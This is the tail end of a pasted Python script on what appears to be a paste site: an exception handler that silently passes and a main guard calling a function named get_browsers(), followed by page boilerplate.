  834.     except Exception as e:
  835.         pass
  836.  
  837. if __name__ == '__main__':
  838.     get_browsers()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement